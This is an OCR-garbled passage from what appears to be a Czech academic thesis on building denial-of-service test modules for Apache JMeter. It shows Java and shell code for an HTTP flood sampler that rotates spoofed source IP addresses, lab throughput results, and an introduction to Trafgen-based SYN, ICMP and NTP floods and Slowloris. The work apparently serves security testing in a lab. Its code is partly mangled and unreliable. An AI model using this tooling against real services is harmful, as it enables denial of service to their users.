kédu a vlozeni do nové zdrojové slozky jejiz pracovni nazev je src/httpdos. Z di-
vodu prakti¢nosti je novy modul vyvijen pfimo uvnitt projektu JMeter, avsak to
neni nutnosti a mize byt vyvijen i v samostatném projektu. Po prevzeti kodu je
nutna uprava importovanych tiid ve vSech prevzetych tridach, aby bylo zajisténo,
ze budou nové tiidy spolupracovat mezi sebou a nikoli s t¥idami originalntho HT'TP

Requestu. Struktura modulu je popsana v tabulce 3.1.

Automaticka kompilace a presunuti modulu

Kompila¢ni soubor Build.xml se da upravit tak, aby pri kazdém spusténi pro-
gramu doslo k automatickému skompilovani nového modulu a zaroven umisténi sou-
boru <modul>. jar do slozky apache-jmeter-3.0/1lib/ext. Tudis po kazdé zméné
ve zdrojovém kodu modulu se zména ihned projevi pti dalsim spusténi programu.

Nejdrive je tfeba nastavit proménné ve vrchni c¢asti souboru.
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Tab. 3.1: Struktura zdrojovych soubori modulu HTTP Flood

Balicek

Obsah

htttpdos.config

tridy definujici konfiguracni element sampleru

htttpdos.config.gui

grafické uziv. rozhrani konfigura¢niho elementu

htttpdos.control

ovlada¢ sampleru

htttpdos.control.gui

grafické rozhrani ovladace sampleru

htttpdos.gui

grafickd rozhrani podpirnych prvki

htttpdos.modifier

nadstavbové funkce

htttpdos.modifier.gui

grafické rohrani

htttpdos.parser

parsovaci nastroj

htttpdos.proxy

implementace proxy serveru

htttpdos.proxy.gui

grafické rozhrani proxy serveru

htttpdos.sampler

implementace sampleru

htttpdos.util

kodéry a dalsi nadstavbové funkce

htttpdos.util.accesslog

filtry

htttpdos.visualizers

specialni panel pro zobrazeni parsovanych odpovedi

Vypis 3.2: Nastaveni proménnych v souboru Build.xml.

<class location="${dest.jar}/HTTP_Flood.jar"/>

<property name="src.httpdos" value="src/httpdos"/>

<pathelement location="${src.httpdos}"'/>

<property name="build.httpdos" value="build /httpdos"/>

Néasledné vytvorit funkei pro samotnou kompilaci:

Vypis 3.3: Funkce compile-httpdos v souboru Build.xml.

<target name="compile—httpdos"

compile—components”
HTTPDOS, ;sampling . ">

description="Compile ,components, specific ,to,

<mkdir dir="${build.httpdos}"/>

<l—— Directory needs to exist,
<javac srcdir="${src.httpdos}"' destdir="${build.httpdos}" source=

or jar will fail —>

"${src.java.version}" optimize="${optimize}" debug="on'

target="${target .java.version}"

includeAntRuntime="${includeAntRuntime}" deprecation="${

deprecation}" encoding="${encoding}">

<include name="xx/x.java'/>

<classpath>
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<pathelement location="${build.jorphan}"/>
<pathelement location="${build.core}"/>
<pathelement location="${build.components}"/>
<path refid="classpath"/>
</classpath>
</javac>
</target>

Nakonec je tfeba pridat novou funkci do funkce compile-protocols:

Vypis 3.4: Funkce compile-protocols v souboru Build.xml.

<target name="compile—protocols" depends="compile—http,compile—ftp ,
compile—calculator ,compile—httpdos , compile—jdbc ,compile—java ,
compile—ldap ,compile—mail ,compile—tcp" description="Compile  all,
protocol—specific, ,components."/>

3.3.1 Pridani rozsahu IP adres na sitové rozhrani

Sampler HT'TP Request nabizi moznost zmény zdrojové IP adresy. Program JMeter
ovsem funguje tak, ze vzdy dokaze alokovat pouze validni soket. Tudiz je nutné, aby
dand IP adresa byla v systému prifazena na rozhrani, které bude sampler pouzivat
pro testovani. Nevyhodou je ovsem to, ze uzivatel si kazdou dalsi IP adresu musi
priradit ru¢né sam a také, ze JMeter HT'TP Request je schopen vyuzivat pouze
jednu (tu zadanou) zdrojovou IP adresu po dobu jednoho celého testu sampleru
[16].

Cilem modulu HTTP Flood je dovolit uzivateli zvolit si rozsah IP adres, auto-
maticky pridat IP adresy na dané sifové rozhrani a poté pfi testu nahodné volit

zdrojovou IP adresu z tohoto rozsahu.

DoS - HTTP Flood
Name: [DoS - HTTP Flood

Comments:
Basic | Advanced
Embedded Resources from HTML Files
[]Retrieve All Embedded Resources [ ] URLs must match:

Source IP Range
Min [192.168,0.50 | Max [192.168.0.60 | Mask 124 | [virbro [~][ apply || Delete

Optional Tasks
[]Save response as MD5 hash?

[Juse as Monitor

Obr. 3.3: Pridani rozsahu adres v rozhrani modulu HTTP Flood.
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Uprava grafického rozhrani

K vysSe zminénému ucelu je u modulu HT'TP Flood upraveno grafické rozhrani,
kde si uzivatel zvoli dany rozsah, masku sité a rozhrani, ke kterému chce tyto 1P
adresy priradit (viz obrazek 3.3).

Grafické rozhrani nastroje JMeter je realizovano pomoci knihovny Java Swing.
Rozhrani modulu je fizeno ze tfidy HttpTestSampleGui. java, kterd se nachazi v
balicku httpdos.control.gui. Nejdiive je tfeba pfidat textova pole pro zadéani
rozsahu zdrojovych IP adres, masky sité a rozhrani na kterém bude testovani pro-
vadéno. Tvorba rolety s dostupnymi rozhranimy a metoda textttgetInterfaceList(),
ktera dynamicky nacte dostupna sitova rozhrani je blize vysvétlena v kapitole XXX
(k modulu HTTP Flood bylo toto feseni doddno pozdéji).

Vypis 3.5: Definice textovych poli.

private JTextField sourcelpAddrMin;

private JTextField sourcelpAddrMax;

private JTextField enterMask = new JTextField ("Mask");

private JComboBox<String> enterInterface = new JComboBox<>(
getInterfaceList ());

Daéle jsou pridana tlacitka apply a delete, jejichz funkce jsou popsany dale v
textu.

Vypis 3.6: Definice tlacitek.

final JButton applyButton = new JButton("Apply");
final JButton deleteButton = new JButton("Delete");

Nakonec jsou tyto prvky ptridany do grafického rozhrani pomoci ptivodni metody

createSourceAddrPanel (). Zkraceny vypis této metody:

Vypis 3.7: Pridani novych grafickych prvka do grafického rozhrani.
protected JPanel createSourceAddrPanel () {
final JPanel sourceAddrPanel = new HorizontalPanel();

sourceAddrPanel . add
sourceAddrPanel . add
sourceAddrPanel . add
sourceAddrPanel . add
sourceAddrPanel . add
sourceAddrPanel . add

sourcelpAddrMin) ;
sourcelpAddrMax) ;
enterMask) ;
selectInt);
applyButton) ;
deleteButton) ;

~ o~ o~ o~ o~ o~

return sourceAddrPanel;
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Zpracovani vstupt

Metody nize uvedené parsuji data z textovych poli pro zadani rozsahu zdrojovych
IP adres. Do okna ,Min“ se zapise IP adresa pocatku rozsahu a do okna ,Max*
adresa konce rozsahu s teckami mezi jednotlivymi oktety. Tyto metody jsou schopné
zpracovat jakykoli (korektni) rozsah adres v ramci IPv4. Pro nasledné operace s
adresami (pridani na sitové rozhrani a ndhodny vybér z rozsahu) je vhodné prevézt
IP adresy zadané uzivatelem na jejich decimalni reprezentaci ve formé jednoho cisla.
O tento prevod se staraji metody getMinIPValue a getMaxIPValue.

Princip spociva v prevedeni kazdého oktetu adresy do binarni soustavy, nasledné
spojeni oktetii na 32 bitovou sekvenci a jeji zpétny prevod do decimélni soustavy.
Princip je vyobrazen v prikladu na obrazku 3.4. Timto ziskame dvé ¢cisla, které
jsou dale nazyvany minIPValue a maxIPValue. Pro vSechna c¢isla mezi témito ¢isly
(véetné) plati, ze po jejich zpétném prevodu ziskdme opét korektni IP adresu z

rozsahu zadaného uzivatelem, coz je vyhodné pro nasledné operace.

Vypis 3.8: Zkraceny vypis z metody getMinIPValue().
String [] parsedMin = minIP.split ("\\.");

int minl = Integer.parselnt(parsedMin[0]) ;

int min2 = Integer.parselnt(parsedMin[1]) ;

String binaryMinl = "00000000"+Integer.toBinaryString (minl) ;
int diffl = 8 — Integer.toBinaryString (minl).length();

binaryMinl = binaryMinl.substring (8—diff1);

String binaryMin = binaryMinl+binaryMin2+binaryMin3+binaryMin4 ;
long outMin = Long.parseLong(binaryMin, 2);

return outMin;

Metody pro ziskani dat z poli pro masku sité a rozhrani jsou jiz trvidlni a pouze
predaji data v podobé textového retézce.
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192.168.0.50

N T

11000000 10101000 00000000 00110010

N/

11000000101010000000000000110010

|

3232235570

Obr. 3.4: Princip metod getMinIPValue a getMaxIPValue na prikladu.

Pridani IP adres

Prikaz pro ptidani (pro odebrani je ptiznak add nahrazen del) IP adresy na

rozhrani v OS Linux méa syntaxi:

Vypis 3.9: Prikaz pro pridani IP adresy na sifové rozhrani.

ip addr add <ip—adresa>/<prefix—masky> dev <rozhrani>

Pro pridani a i nasledné odebrani rozsahu IP adres na sitové rozhrani slouzi
nasledujici metody aktivované tlacitky ,Apply*“, potazmo ,Delete”.

Po stisknuti tlacitka ,Apply“ se zavola metoda createIpScript (), ktera zajisti
vytvoreni shell skriptu pro pridani IP adres na rozhrani (potazmo vytvoreni shell
skriptu pro odebrani IP adres). Nakonec dojde ke spusténi prvniho z vytvorenych
skriptti a to: IpAddrAdd. sh.

Metoda createIpScript() ma nékolik vstupi:

o minIPValue — decimalni hodnota IP pocatecni IP adresy,

« maxIPValue — decimalni hodnota IP posledni IP adresy,

o mask — prefix masky site,

o interf — sitové rozhrani,

o path — cesta kam se ma skript ulozit,

e type — add pro pridani, del pro odebrani.

Pro vytvoreni skriptii metoda vyuziva knihovnu BufferedWriter a inkrementacniho

cyklu for. Cykl for iteruje od minIPValue po maxIPValue+1 (41 slouzi k zahrnuti
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posledni adresy z rozsahu). Uvniti cyklu je vzdy pro aktudlni decimalni reprezentaci
IP adresy provede operace inverzni k té na obrazku 3.4, ¢imz je zpét ziskana IP
adresa ve svém klasické podobé. Déle je zde sestaven (a primo vypsén) textovy
fetézec. Textovy Tetézec je skladan z ¢asti prikazu, které jsou dané syntaxi, vstupem
od uzivatele (proménné mask, interf, type) a proménnymi one, two, three, four,

které jsou jednotlivymi oktety adresy (viz vypis 3.10).

Vypis 3.10: Metoda createIpScript().

private void createlpScript(long minIPValue, long maxIPValue, String
mask, String interf, String path, String type){

try (Writer writer = new BufferedWriter (new OutputStreamWriter (new
FileOutputStream (path), StandardCharsets .UTF 8))) {

for (long i = minIPValue; i < maxIPValue+1; i++) {
String binary = Long.toBinaryString(i);
int one = Integer.parselnt(binary.substring (0, ) 2);
int two = Integer.parselnt(binary.substring (8, 16) 2),
int three = Integer.parselnt(binary.substring (16, 24),2);
)

int four = Integer.parselnt(binary.substring (24, 32),2

writer.write("ip,addr, "+type+ ", "+one+"."+twot"."+three+". "+four+
mask+" dev  "+interf+"\n");

}

} catch (IOException exn) {
System.out.println (exn) ;

Metoda createIpScript () je zavolana dvakrat, nejprve s parametrem add, poté
s parametrem del a samoziejmé parametr path je upraveny pro jiny nazev souboru.

Dalsi akei, ktera probéhne po stisknuti tlacitka ,,Apply“, je samotné spusténi vy-
generovaného skriptu IpAddrAdd.sh. K tomu je vyuzita knihovna ProcessBuilder,
jenz umoznuje spusténi nového procesu. Proces je definovany pomoci systémovych
prikazu, které jsou zadané v jednorozmérném poli textovych fetézcl args:

« /bin/bash - spusti bash,

e -c — indikuje, Ze nasleduje zadani prikazu,

» pkexec — umoziuje zadani piikazu s pravy super uzivatele (otevie dialog pro

zadéani hesla),
e bash /tmp/IpAddrAdd.sh - spusténi skriptu.
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Vypis 3.11: Spusténi skriptu IpAddrAdd.sh.

public void actionPerformed (ActionEvent e) {

String pathAdd = "/tmp/"+timestamp+"IpAddrAdd.sh";
String pathDel = "/tmp/"+timestamp+"IpAddrDel.sh";

String []
pathAdd };

try {
Process proc = new ProcessBuilder(argsl).start ();

argsl = new String[] {'/bin/bash"' '"—c", "pkexec bash "+

// pockd dokud proces mnedobéhne a otevre dialogové okno

proc.waitFor () ;

JOptionPane.showMessageDialog (parent, "Ip adresses added.");

} catch (Exception ex) {

System.out. println (ex);

Stiskem tlacitka ,Delete” se provede kdédova sekvence shodna s 3.11, ktera ale

spusti skript IpAddrDel. sh. Ten se postara o odebrani pridanych IP adres na daném

sitovém rozhrani.

Zkraceny vypis z nové vytvorenych skriptt IpAddrAdd.sh a IpAddrDel.sh je

vyobrazen ve vypisech 3.12 a 3.13.

Vypis 3.12: Skript IpAddrAdd.sh.

ip
ip

ip

addr
addr

addr

add
add

add

192.
192.

192.

168.0.50/24 dev enol6777736
168.0.51/24 dev enol6777736

168.0.60/24 dev enol6777736

Vypis 3.13: Skript IpAddrDel.sh.

ip
ip

ip

addr
addr

addr

del
del

del

192.
192.

192.

168.0.50/24 dev enol6777736
168.0.51/24 dev enol6777736

168.0.60/24 dev enol6777736

3.3.2

Vlozeni ndahodné zdrojové IP adresy z rozsahu

Jednim z nejvétsich otazniku pri vyvoji modulu HTTP Flood bylo nalezeni ¢asti

kédu, kterd rozhoduje o koneéném pritazeni zdrojové IP adresy jednotlivych HTTP

zédosti, neboli produktii sampleru. Po prozkoumani t¥id v balicku httpdos . sampler

a experimentovani s riiznymi moznostmi, bylo dospéno k funkénimu feseni. Ve tridé
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HTTPAbstractImpl. java, kterd je podkladem implementace HT'TP sampleru, se na-
chazi metoda getIpSource () jejiz puvodni vratnou hodnotou byl parametr objektu
testElement. Tento parametr byl prevzat z textového pole v ptivodnim grafickém
rozhrani. Vratnd hodnota této metody byla tedy upravena na vystup nové vlastni

funkce s pracovnim nazvem getSpoofIpSource().

Vypis 3.14: Metoda getIpSource().

protected String getIpSource() {
return HTTPSamplerBase. getSpoofIpSource () ;

Pivodni findlni proménna IP_SOURCE tiidy HTTPSamplerBase. java byla pozmé-
néna na IP_SOURCEMIN a dale byly pridany dalsi finalni proménné:

« IP_SOURCEMAX,

« IP SOURCEMINVALUE,

o IP SOURCEMAXVALUE.

Tyto proménné jsou vyuzité k naslednému generovani ndhodné IP adresy z roz-
sahu. Metoda getSpoofIpSource() ve tiidé HTTPSamplerBase. java vraci nahod-
nou IP adresu z rozsahu zadaného uzivatelem. Tato metoda vyuziva math knihovny
ThreadLocalRandom, s jejiz pomoci je pii kazdém spusténi sampleru (jednotlivé
HTTP pozadavky) generovano nédhodné ¢islo v rozsahu mezi hodnotami decimél-
nich reprezentaci krajnich IP adres IP_SOURCEMINVALUE a IP_SOURCEMAXVALUE. Na
vygenerovanou hodnotu je poté uplatnéna zpétna operace k té na obrazku 3.4, po-
dobné jako u metody createIpScript (). Timto ziskdme validni, ndhodné zvolenou
[P adresu z rozsahu zadaného uzivatelem (viz vypis 3.15).

Podminkou je zde také osetren pripad, kdy uzivatel nevyplni pole pro zadani
rozsahu IP adres. V tomto pripadé se vrati prazdny retézec. Piivodni nadfazené me-
tody ve tfidé HTTPAbstractImpl. java totiz funguji tak, ze pokud Tetézec predany
metodou getIpSource () neni delsi nez 0 znaki, pracuji bez pouziti zmény zdrojové
IP adresy.

Vypis 3.15: Metoda getSpoofIpSource().

public static String getSpooflpSource() {
if (this.getPropertyAsLong (IP_ SOURCEMAXVALUE)==0) { //pokud uZ
ivatel zanechd pole prdzdné

return
telse{
long out = ThreadLocalRandom. current () .nextLong(this.
getPropertyAsLong (IP. SOURCEMINVALUE) , this . getPropertyAsLong(
IP_SOURCEMAXVALUE) +1) ;

)

String binary = Long.toBinaryString (out);
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int one = Integer.parselnt(binary.substring (0, ) 2);

int two = Integer.parselnt(binary.substring (8, 16) 2),
int three = Integer.parselnt(binary.substring (16, 24),2);
int four = Integer.parselnt(binary.substring (24, 32),2);
return one + "." + two + "." + three + "." + four;

3.4 Testovani modulu HTTP Flood

Cilem testovani modulu je ovérit jeho spravnu funkci, porovnat jeho vykon s funkci
HTTP Request nastroje JMeter, ze které vychazi, a nakonec provonat vykon modulu

v zavislosti na systémovych prostiedcich virtualniho stroje (CPU, RAM).

3.4.1 Pouziti a ovéreni funkcénosti

(13

Pro spusténi jakéhokoli sampleru je nejprve nutné vytvorit novy tzv. , Thread Group
(skupina vlaken pro vykonani daného testu). Threat Group umoznujé nastaveni po-
¢tu vlaken, které budou vyuzité ke generovani HT'TP pozadavkil, dale pocet opa-
kovani odeslani pozadavkl z kazdého vldkna. Novy modul je dostupny v grafickém
rozhrani nastroje JMeter po pravém kliknuti na Thread group a Add > Sampler >
HTTP Flood.

V grafickém prostredi modulu se nejprve zada IP adresa cile itoku a typ HTTP
requestu (GET, POST, HEAD, PUT, DELETE, atd.), je tu i moznost zvolit zabez-
pecené HTTPS. Dale v zalozce ,,Advanced” uzivatel zvoli rozsah IP adresy, prefix
masky sité a sitové rozhrani, na kterém bude test probihat (viz obrazek 3.3). Po
stisku tlacitka ,,Apply“ se vytvori skripty pro pridani a odebrani IP adres a provede
se spusténi prvniho z nich. Poté je jiz mozné spustit samotny test pomoci tlacitka
Sotart® v horni listé grafického rozhrani.

Pro tucel ovéreni funkénosti modulu byl Thread Group nastaven na 20 vladken s 20
opakovanimi (obrazek 3.5). IP adresy byly nastaveny na rozsah 192.168.20.60/24
az 192.168.20.120/24. Jak je mozné vidét z vystupu programu Wireshark (obra-
zek 3.6), modul odesila HTTP pozadavky typu GET k cily s ndhodné ménici se

zdrojovou IP adresou ze zadaného rozsahu.

3.4.2 Testovani vykonu modulu

Testovani modulu probiha v prostiedi LAN sité, kde modul bézi na virtualnim stroji

Linux Cent OS 7, ktery je pfes most zapojen do mistni sité. Cilem ttoku je doméaci
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Thread Group

Name: \Thread Group

Comments:
Action to be taken after a Sampler error

@ Continue ) Start Next Thread Loop ) Stop Thread O Stop Test  Stop Test Now

Thread Properties
Number of Threads (users): [20 |

Ramp-Up Period (in seconds): |1 |

Loop Count: [ ] Forever |20 |

[] Delay Thread creation until needed
[] scheduler

Scheduler Configuration
Duration (seconds)

Startup delay (seconds)

Start Time
End Time
e
Obr. 3.5: Nastaveni Thread Group.
No. Time Source Destination Protoco Lengtl Info
118 5.270540834 192.168.0.61 182.168.0.1 HITP 181 GET / HTTP/1.1
119 5.270989336 192.168.0.109 192.168.0.1 HITP 181 GET / HITR/1.1
120 5.271273472 182.168.0.67 192.168.0.1 HITP 181 GET / HITR/1.1
121 5.271556618 192.168.0.78 192.168.0.1 HTTP 181 GET / HTTR/1.1
122 5.271791732 192.168.0.78 192.168.0.1 HTTP 181 GET / HTTR/1.1
123 5.272043473 182.168.0.101 192.168.0.1 HTTP 181 GET / HTTR/1.1
124 5.272257160 182.168.0.96 192.168.0.1 HTTP 181 GET / HTTR/1.1
125 5.273126423 152.168.0.90 192.168.0.1 HTTP 181 GET / HTTR/1.1
126 5.273235146 192.168.0.96 192.168.0.1 HITP 181 GET / HITR/1.1
127 5.273237439 182.168.0.89 192.168.0.1 HITP 181 GET / HITR/1.1
128 5.273723579 192.168.0.104 192.168.0.1 HTTP 181 GET / HTTR/1.1
129 5.273870736 192.168.0.104 192.168.0.1 HTTP 181 GET / HTTR/1.1
130 5.273993212 192.168.0.8%9 192.168.0.1 HTTP 181 GET / HTTR/1.1
131 5.274143317 192.168.0.106 192.168.0.1 HTTP 181 GET / HTTR/1.1
132 5.274401574 192.168.0.113 192.168.0.1 HTTP 181 GET / HTTR/1.1
133 5.274698191 182.168.0.101 192.168.0.1 HITP 181 GET / HITR/1.1
134 5.274953715 182.168.0.94 192.168.0.1 HITP 181 GET / HITR/1.1
135 5.275231027 192.168.0.108 192.168.0.1 HITP 181 GET / HITR/1.1
136 5.275533483 192.168.0.70 192.168.0.1 HTTP 181 GET / HTTR/1.1
137 5.275812322 192.168.0.76 192.168.0.1 HTTP 181 GET / HTTR/1.1
138 5.276151936 152.168.0.98 192.168.0.1 HTTP 181 GET / HTTR/1.1
139 5.276311001 182.168.0.78 192.168.0.1 HTTP 181 GET / HTTR/1.1

Obr. 3.6: HTTP pozadavky odesilané modulem (Wireshark).

smérova¢ D-Link DIR-615 a spojovym médiem je Ethernet 100 Mb/s.
Porovnani s HTTP Request

Prvni experiment porovnava vykon funkce JMeteru HT'TP Request s vykonem
modulu HTTP Flood, za tucelem ovéreni, zdali pii implementaci modulu nedoslo k
poskozeni optimalizace.

Vysledky experimentu jsou znazornény v tabulce 3.2. Modul HTTP Flood do-
sahuje vysledkt srovnatelnych, nékdy i lepsich, nez originalni HT'TP Request. Pri
testovani byl vypozorovan trend, ktery 1ika, ze ¢im je vétsi mnozstvi opakovani po-

zadavku a ménsi pocet pracovnich vldken, tak i klesa rychlost utoku.
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Utok

Smérovad
192.168.20.7/24

Virtutdlni stroj Cent OS 7
192.168.20.50/24 a7 192.168.20.100/24

Obr. 3.7: Schéma zapojeni zarizeni pro testovani.

Tab. 3.2: Porovnani HT'TP Request s HT'TP Flood

Threads/loops HTTP Flood HTTP Request
[pps] ‘ Cas [s] ‘ Celkové paketi | [pps] ‘ Cas [s] | Celkové paketu

400/1 947 2,3 2584 798 3,3 2753
200/2 810 3,3 2747 811 3 2466
100/4 541 4.9 2663 518 5 2636
50/8 370 9,6 3552 393 8 3134
25/16 271 20,9 5680 225 17,6 3976
20/20 297 17 5065 205 19 4334

Vykon modulu v zavislosti na systémovych prostredcich

Druhy experiment zkoumad zavislost vykonu modulu na systémovych prostred-
cich, které jsou mu prirazeny. Hostitelsky systém je osazen osmijadrovym proceso-
rem AMD FX-8350 o frekvenci 4 GHz a 8 GB paméti RAM. Virtudlnimu stroji, na
kterém je modul spustén, jsou nejprve pritazena 4 jadra a 4 GB paméti, poté jsou
systémové prostiedky navyseny na 6 jader a 6 GB paméti. Nastaveni Thread Groupe
v tomto experimentu je 50 vlaken s 50 opakovanimi, tedy celkem 2500 pozadavkt.

Vysledky experimentu jsou znazornény v tabulce 3.3. Po navyseni systémovych
prostiedki o 50 % puvodni hodnoty, se vykon modulu zvysil o 13 %.

Je vsak nutkno podotknout, ze vzhledem ke spojovému charakteru atoku HT'TP
Flood, je jeho rychlost zavisla na vykonu cile utoku, protoze pred uskuteénénim
HTTP pozadavku musi dojit k navazani spojeni pomoci paketi SYN, SYN ACK a
ACK.
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Jak je zfejmé ze samotného principu HT'TP Flood ttoku, samotna rychlost itoku
v poctu pakettl za sekundu neni zcela rozhodujici. Sila ttoku tkvi v jeho spravném
nasmérovani. Naptiklad pokud se na strance webového serveru, ktery je cilem ttoku,
vyskytuje objemny obrazek, staci vyzadat jeho stazeni dostate¢nym mnozstvim uzi-
vateli (agenti) a dojde k vycerpani kapacity sitového pripojeni a tak i odepteni

sluzby legitimnim uzivateliim.

Tab. 3.3: Vykon modulu v zavislosti na systémovych prostredcich

Systé < Rychlost | - Vytizeni link
s efnove YEOSt | Gas [s] | Celkové paketi yrizent nky

prostiedky [pps] [Mb/s]

4 CPU, 4 GB RAM 362 45 16342 1,300

6 CPU, 6 GB RAM 409 56 23078 1,481
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4 VYVOJ MODULU VYUZIVAJICICH EXTER-
NiHO GENERATORU

Pro zaplavové utoky, které nevyzaduji (oproti itoku HTTP Flood) navazani spojeni
s obéti, je idealni vyuzit vykonného generatoru sitového provozu Trafgen (popsan v
kapitole 2.2).

Cilem této casti prace bylo realizovat itoky typu Syn Flood, ICMP Flood, NTP
Flood ale i universalni sampler, ktery bude schopen spustit jakykoli titok v moznos-
tech Trafgenu po vlastnim nastaveni konfiguracniho souboru uzivatelem.

V této kapitole je také implementovan utok Slow Loris, ktery, namisto nastroje
Trafgen, pouziva jako externiho generatoru skrip v jazyce Python.

Jak uz je nastinéno v predchozim odstavci, realizace itoku pomoci nastroje Tra-
fgen spociva v jeho spusténi specifickym prikazem, ve kterém je odkaz na dany
konfiguracni soubor, ktery modeluje samotné generované pakety. Na obrazku 4.1 je

naznacena nutna spoluprace mezi nastroji Trafgen a JMeter.

Jmeter Konfiguracni soubor
GUI Trafgenu

njoIN
Aswesed

nyoin
Aswesed

Vytvoreni k.
souboru

Jmeter Spoustéci prikaz
Sampler

Spréva procesu

Obr. 4.1: Schéma spojeni JMeter—Trafen.

Instalace nastroje Trafgen

Trafgen je soucasti sady Netsniff-NG [12], k instalaci této sady je nevhodnéjsi
vyuzit naklonovani sady z distribuovaného systému git pomoci funkce git-clone. Po-
drobny navod k instalaci je dostupny na strance komunitni wiki sady Netsniff-NG
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[6]. Pii vyuziti tohoto postupu je jistota, ze se trafgen bude vzdy nachézet tam
v souborovém systému, kde ho ocekdavame. Aktualni verze trafgenu pouzita v této
praci je 0.6.2-48.

Konfiguracéni jazyk nastroje Trafgen

Obecny tvar prikazu pro spusténi generovani pakett nastrojem Trafgen je zob-

razen ve vypisu 4.1.

Vypis 4.1: Spoustéci piikaz nastroje Trafgen.

sudo trafgen —in <konfiguracni_soubor >.cfg —out <sitove_rozhrani>

Obecné jde primo v prikazu specifikovat vSechny parametry utoku a generova-
ného paketu (namisto specifikace v konfig. souboru), nicméné takovy piikaz by byl
prinejmensim neptehledny. Naopak co je vhodné specifikovat piimo v prikazu, jsou
parametry charakterizujici silu utoku a nebo také specifikace kolik z dostupnych
CPU bude vyuzito. Pro specifikaci sily utoku existuji parametry:

o rychlost odesilani packet rate ( ~cpp <€islo>pps),

o pocet paketi k odeslani number of packets ( —num <&islo>).

Blizsi informace k dalsim parametrim jsou k nalezeni v manualové strance trafgenu.

Pro sestaveni konfigura¢niho souboru existuji dva druhy syntaxe, které je ale i
mozna vzajemné kombinovat. Klasicka syntaxe, kterd rozliSuje parametry paketu
(jejich prislusnost k jednotlivym protokolim) po fadcich ukoncenych ¢arkou (viz
priloha) v daném poradi a nova syntaxe, kterd obsahuje hlavickové funkce pro jed-

notlivé protokoly.

Vypis 4.2: Obecny tvar hlavickovych funkei.

<protokol>{<paramterl >=<hodnota>, <paramter2>=<hodnota>, ...}.

vV,

metrim jsou opét k nalezeni v manudlové strance.

Hodnoty jednotlivych parametri lze zadat dvéma zptsoby. Bud piimo c¢islem,
makrem a nebo pomoci dynamickych funkei (viz tabulka 4.2). Jak je i uvedeno
v tabulce, ve staré verzi syntaxe nebylo mozné u dynamickych funkei specifikovat
zacatek a konec rozsahu, tvirci tuto moznost pridaly do nové verze syntaxe, coz
je déle velice uzitecné pro vyvijené moduly. Makra uvedend v tabulce se pouzivaji
hlavné u staré syntaxe a u nové uz je vétsina parametrii zadavana primo c¢islem ¢i
dynamickou funkeci.

Daéle je mozné vyuzit C preprocesoru (pridanim ptiznaku -cpp do spoustéciho
prikazu), ktery umoznujé definici proménnych ¢i vlastnich maker pomoci #define.

Navic je mozné pomoci #include vlozit zdrojovy kéd jiného souboru.
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Tab. 4.1: Hlavickové funkce konfigura¢niho souboru nastroje Trafgen.

‘ Funkce ‘ Popis
eth{} Linkova vrstva

pause{} | Mechanizmus ovladani toku dat na linkové v.

pfce{} Mechanizmus ovladani toku dat v zavislosti na priorité
vlan{} | VLAN protokol

mpls{} | Multiprotokolové prepojovani podle ndveésti

arp{} | ARP protokol

ipv4{} | IPv4 hlavicka

ipv6{} | PIv6 hlavicka
icmp4{} | ICMP verze 4 protokol
icmp6{} | ICMP verze 6 protokol

udp{} | UDP hlavicka

tecp{} | TCP hlavicka

Tab. 4.2: Vyjadreni hodnot v konf. jazyce néastroje trafgen.

Cislo Popis
Binarné 0b0110, 0b11010011
Dekadicky 8, 25

Hexadecimalné | 0xd6, 0x3a

| Makra ‘ Popis ‘
constn(x) n bitova konstantni hodnota x, kde n={8,16,32,64}
fill{n, x} naplni pole velikosti n bajt hodnotou z

| Dynamické f. ‘ Popis - stara syntaxe ‘
drnd{n} generovani nah. hodnoty z rozsahu n bajtu
dinc{n} inkrementace hodnoty v rozsahu n bajtt

| Dynamické f. ‘ Popis - nova syntaxe l

drnd{} drnd{min, max}, drnd{min, max, step}, generovani nah. hodnoty

dinc{} dinc{min, max}, dinc{min, max, step}, inkrementace hodnoty

4.1 Trafgen Thread Group

Pro spusténi klasickych samplerti v testovacim planu pouzivame tzv. Thread group
(viz obr. 3.5), ve kterém je mozné nastavit pocet vldken (uzivateli), pocet opako-

vani. Déle je zde planova¢ (scheduler), ktery umoziujé nastaveni poc¢atku a konce
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testovani v case. JMeter funguje tak, ze pro kazdy novy dotaz z klasického sampleru
vytvoril novy thread, ktery ho odesle a potom se ukonci. Napiiklad pii nastaveni
poctu vlaken na 2 a opakovani na 2, se vytvori 2 vldkna ,soucasné® a odeslou paket
jednou a pak podruhé, jsou tedy odeslany 4 pakety celkem.

Planovac¢ klasicky funguje tak, ze po kazdém vytvoreném vladkné (odeslaném
pozadavku) kontroluje, jestli nedoslo k prekroceni casu konce testu a pokud ano,
zavola se metoda interrupt pro ukonceni odesilani paketii. Timto vSak vznikaji 2
problémy pro sampler vyuzivajici Trafgen:

o Trafgen je tfeba vzdy spustit jen jednou jako jedno vlakno,

o ukonceni nastroje Trafgen podle planovace nebude fungovat, protoze dokud
Trafgen bézi vldkno nikdy samo neskonéi a tim padem nedojde ke kontrole
prekroceni casu konce testu.

Proto je potfeba upravit originalni Thread Group pro pouziti se samplery vy-
uzivajici externi generator. Upraveny Thread Group dostal nazev Trafgen Thread
Group. Ten je tvoren dvéma tridami:

e ThreadGroup.java — samotny Thread Group,

e ThreadGroupGui.java — jeho grafické rozhrani.
Uprava grafického rozhrani

Jelikoz chceme vzdy spustit jedno vlakno s nastrojem Trafgen a to jednou, mu-
zeme 7z grafického rozhrani vypustit toto nastaveni pro uzivatele a pevné tyto para-
metry nastavit na hodnotu 1.

Ve ttidé ThreadGroupGui. java v inicializa¢ni metodé init () byly odstranény
prvky grafického rozhrani:

e threadPanel — pocet vlaken,

o rampPanel — cas v sekundach béhem kterého se postupné navysuje intenzita

testu,

e loopCount — pocet opakovani vldkna.

Déle byl do grafického rozhrani pridan informacni panel, upozornujici uzivatele

na to, s kterymi samplery je treba Trafgen Thread Group pouzivat.
Casované spusténi a zastaveni trafgenu

Po zkoumaéni tridy ThreadGroup.java byla nalezena metoda start(), ktera
ma na starosti inicializaci testu dané skupiny vlaken podle parametri zadanych
uzivatelem a spusti se vzdy, kdyz zapocne test, tedy i po dasazeni casu startu v
planovadi.

Toho je vyuzito tak, Ze se uvniti této metody nejdiive vypocte proménnou

duration, jako rozdil proménné endtime (pouzivana v originalnim Thread Group
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pro kontrolu prekroceni konce testu) a aktudlniho casu systému. Tim tedy ziskdme
cas, po ktery ma byt nase vlakno spusténo. Nasleduje spusténi vlastniho caso-
vace typu ScheduledExecutorService, ktery po ulinuti ¢asu daného proménnou
duration, zavold metodu stopThreadTrafgen() pro vSechna vlakna spusténd pod
danym Trafgen Thread Group, a ta uz se postara o zavolani metody interrupt v sa-
